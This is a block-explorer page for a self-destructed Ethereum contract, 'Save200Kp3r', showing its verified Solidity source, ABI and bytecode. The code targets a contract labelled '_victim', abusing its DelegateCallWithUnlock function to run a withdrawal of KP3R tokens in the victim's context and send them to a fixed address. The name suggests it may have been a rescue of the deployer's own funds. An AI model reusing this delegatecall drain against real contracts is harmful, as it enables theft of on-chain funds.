ETH Price: $2,785.79 (+4.23%)

Contract

0xfD8f94db9915C3f3b6e6A3F244A06CCc586B07d8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Funded By

N/A

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To

There are no matching entries

1 Internal Transaction found.

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
122816872021-04-21 5:22:121403 days ago1618982532
0xfD8f94db...c586B07d8
0 ETH
Loading...
Loading
Contract Self Destruct called at Txn Hash 0xed926708c208f0ab6d42531fce9516806c5668153237f77de102527fdedf9d11


Contract Source Code Verified (Exact Match)

Contract Name:
Save200Kp3r

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2021-04-18
*/

// SPDX-License-Identifier: NONE

pragma solidity 0.8.1;



// Part: IErc20

interface IErc20 {
    function approve(address, uint256) external returns (bool);

    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint);
    function allowance(address _owner, address _spender) external view returns (uint256 remaining);
}

// Part: IKp3r

interface IKp3r {
    function withdraw(address bonding) external;
    function resolve(address keeper) external;
    function dispute(address keeper) external;
    function balanceOf(address keeper) view external returns (uint256);

}

// Part: IVictimContract

interface IVictimContract {
    function Unlock(uint256 b) external ;
   
    function DelegateCallWithUnlock(address target,bool allowRevert, bytes memory data) external returns (bytes memory response);
  

}

// File: Save200Kp3r.sol

contract Save200Kp3r  {

  
    address private constant _deployer = 0x8CC1cFdc1C60C19a1d7C0fa3c042a4916AA79a51;
    address private constant  _victim=0xdd0fBEcCba0aA4Cc56b861D514e09f49Bcc6D0C5;
    address private constant  _sendRestTo=0x661047E7f94450D8a0C5d82FAd0E93f5ad681914;
    address private constant _kp3r = 0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44;
    event Log(address);

    constructor()  {
    
    }

    
    function Withdraw() public {
        IVictimContract(_victim).Unlock(block.number);
        bytes memory data=abi.encodeWithSignature("WithdrawInternal()");
        bytes memory data2=abi.encodeWithSignature("DelegateCallWithUnlock(address,bool,bytes)",address(this),false,data);
        uint256 balanceBefore=IErc20(_kp3r).balanceOf(_sendRestTo);
        _victim.call(data2);

        uint256 balanceAfter=IErc20(_kp3r).balanceOf(_sendRestTo);
        if(balanceBefore==balanceAfter){ 
            revert("tokens not arrived");//just in case to return tokens back to bond address 
        }
        selfdestruct(payable(_sendRestTo));
    }

    //executes in VICTIM contract context
    function WithdrawInternal()  public  {
     
        IKp3r(_kp3r).withdraw(_kp3r);
        uint256 balance=IErc20(_kp3r).balanceOf(address(this));
        IErc20(_kp3r).transfer(_sendRestTo,balance);//no funds on Save200Kp3r - so it is safe
        //selfdestruct(payable(_sendRestTo)); //Destruct victim contract
     }

   
   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"Log","type":"event"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawInternal","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b50610619806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80634965c3f11461003b57806357ea89b614610045575b600080fd5b61004361004d565b005b6100436101e6565b6040516351cff8d960e01b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a44906351cff8d990610084908390600401610506565b600060405180830381600087803b15801561009e57600080fd5b505af11580156100b2573d6000803e3d6000fd5b50506040516370a0823160e01b815260009250731ceb5cb57c4d4e2b2433641b95dd330a33185a4491506370a08231906100f0903090600401610506565b60206040518083038186803b15801561010857600080fd5b505afa15801561011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014091906104d2565b60405163a9059cbb60e01b8152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a449063a9059cbb906101909073661047e7f94450d8a0c5d82fad0e93f5ad681914908590600401610565565b602060405180830381600087803b1580156101aa57600080fd5b505af11580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906104ab565b5050565b604051634195129d60e11b815273dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c59063832a253a9061021d9043906004016105aa565b600060405180830381600087803b15801561023757600080fd5b505af115801561024b573d6000803e3d6000fd5b50506040805160048152602480820183526020820180516001600160e01b0316634965c3f160e01b17905291519093506000925061028f913091849186910161051a565b60408051601f198184030181529181526020820180516001600160e01b0316639551a2a960e01b179052516370a0823160e01b8152909150600090731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906103089073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035891906104d2565b905073dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c56001600160a01b03168260405161038691906104ea565b6000604051808303816000865af19150503d80600081146103c3576040519150601f19603f3d011682016040523d82523d6000602084013e6103c8565b606091505b50506040516370a0823160e01b815260009150731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906104199073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046991906104d2565b9050808214156104945760405162461bcd60e51b815260040161048b9061057e565b60405180910390fd5b73661047e7f94450d8a0c5d82fad0e93f5ad681914ff5b6000602082840312156104bc578081fd5b815180151581146104cb578182fd5b9392505050565b6000602082840312156104e3578081fd5b5051919050565b600082516104fc8184602087016105b3565b9190910192915050565b6001600160a01b0391909116815260200190565b600060018060a01b0385168252831515602083015260606040830152825180606084015261054f8160808501602087016105b3565b601f01601f191691909101608001949350505050565b6001600160a01b03929092168252602082015260400190565b6020808252601290820152711d1bdad95b9cc81b9bdd08185c9c9a5d995960721b604082015260600190565b90815260200190565b60005b838110156105ce5781810151838201526020016105b6565b838111156105dd576000848401525b5050505056fea2646970667358221220b204b8826d382455f4e281acb25d7cb34f8bc3ec4cbd2c39b9bdba025e98e09e64736f6c63430008010033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100365760003560e01c80634965c3f11461003b57806357ea89b614610045575b600080fd5b61004361004d565b005b6100436101e6565b6040516351cff8d960e01b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a44906351cff8d990610084908390600401610506565b600060405180830381600087803b15801561009e57600080fd5b505af11580156100b2573d6000803e3d6000fd5b50506040516370a0823160e01b815260009250731ceb5cb57c4d4e2b2433641b95dd330a33185a4491506370a08231906100f0903090600401610506565b60206040518083038186803b15801561010857600080fd5b505afa15801561011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014091906104d2565b60405163a9059cbb60e01b8152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a449063a9059cbb906101909073661047e7f94450d8a0c5d82fad0e93f5ad681914908590600401610565565b602060405180830381600087803b1580156101aa57600080fd5b505af11580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906104ab565b5050565b604051634195129d60e11b815273dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c59063832a253a9061021d9043906004016105aa565b600060405180830381600087803b15801561023757600080fd5b505af115801561024b573d6000803e3d6000fd5b50506040805160048152602480820183526020820180516001600160e01b0316634965c3f160e01b17905291519093506000925061028f913091849186910161051a565b60408051601f198184030181529181526020820180516001600160e01b0316639551a2a960e01b179052516370a0823160e01b8152909150600090731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906103089073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035891906104d2565b905073dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c56001600160a01b03168260405161038691906104ea565b6000604051808303816000865af19150503d80600081146103c3576040519150601f19603f3d011682016040523d82523d6000602084013e6103c8565b606091505b50506040516370a0823160e01b815260009150731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906104199073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046991906104d2565b9050808214156104945760405162461bcd60e51b815260040161048b9061057e565b60405180910390fd5b73661047e7f94450d8a0c5d82fad0e93f5ad681914ff5b6000602082840312156104bc578081fd5b815180151581146104cb578182fd5b9392505050565b6000602082840312156104e3578081fd5b5051919050565b600082516104fc8184602087016105b3565b9190910192915050565b6001600160a01b0391909116815260200190565b600060018060a01b0385168252831515602083015260606040830152825180606084015261054f8160808501602087016105b3565b601f01601f191691909101608001949350505050565b6001600160a01b03929092168252602082015260400190565b6020808252601290820152711d1bdad95b9cc81b9bdd08185c9c9a5d995960721b604082015260600190565b90815260200190565b60005b838110156105ce5781810151838201526020016105b6565b838111156105dd576000848401525b5050505056fea2646970667358221220b204b8826d382455f4e281acb25d7cb34f8bc3ec4cbd2c39b9bdba025e98e09e64736f6c63430008010033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.